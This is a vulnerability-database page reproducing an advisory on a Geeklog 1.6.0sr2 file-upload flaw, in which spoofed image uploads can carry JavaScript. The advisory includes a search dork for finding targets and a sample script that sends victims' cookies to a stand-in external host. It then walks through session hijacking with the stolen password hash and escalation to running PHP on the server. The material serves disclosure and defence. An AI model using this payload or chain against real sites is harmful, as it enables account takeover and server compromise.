Lucene search
K

Geeklog <= 1.6.0sr2 - Remote File Upload

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Geeklog v1.6.0sr2 Remote File Upload Vulnerabilit

Code

                                                ==============================================================================
 Geeklog &#60;= v1.6.0sr2 -  Remote File Upload

 Discovered: JaL0h

 Software Site: http://www.geeklog.net

 Dork: &#34;By Geeklog&#34; &#34;Created this page in&#34; +seconds +powered
==============================================================================

Remote File Upload
==================
Geeklog has several options to upload images.  The image upload process does
not validate the mime type of the upload.  Geeklog trusts the mime type
specified by the browser and also checks the file extension, both of which
are very easy to spoof.

Files with .jpg extensions can be uploaded, but these file can contain
anything, like javascript or PHP code. Using FireFox you can upload any
jpg extension and it will be accepted since FireFox sets the mime type
based on file extension.

Uploading usually requires that you first create a user account.  Once an
account is created, you can upload a user photo, which could take advantage
of this vulnerability.


Potential Abuse
===============
Executable javascript can easily be uploaded.  There are several XSS holes in
many of the Geeklog plugins which could run the uploaded javascript. If a simple
cookie stealing javascript were uploaded, it could be used to expose the Geeklog
uid and password hash which is as good as having the actual password.

Sample JavaScript

document.write(&#39;&#60;iframe src=&#34;http://my.cookiestealingsite.com/cs.php?ck=&#39;
    + document.cookie + &#39;&#34; id=&#34;myFrame&#34;  frameborder=&#34;0&#34;  vspace=&#34;0&#34;
    hspace=&#34;0&#34;  marginwidth=&#34;0&#34;  marginheight=&#34;0&#34; width=&#34;0&#34;  scrolling=&#34;no&#34;
    height=&#34;0&#34;  style=&#34;visibility:hidden;&#34;&#62;&#60;/iframe&#62;&#39;);

Once the uid and password hash is known, you can set a cookie in  your browser:

geeklog=[uid]; password=[md5 hash];

which gives you instant access to everything the user has access to. If you
expose an administrative account, you have full access to the admin panel
where you can set the staticpages.PHP permission to true, then create a
static page that will run any PHP script you desire, potentially exposing
the entire server.

The cookie exploit was originally documented by Nine:Situations:Group::bookoo
http://www.milw0rm.com/exploits/8376 and remains unfixed.

Successful exploitation requires the ability to execute the uploaded JavaScript.
The Geeklog Forum program can be used as an attack vector since it does not
properly validate many $_GET / $_POST variables.
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation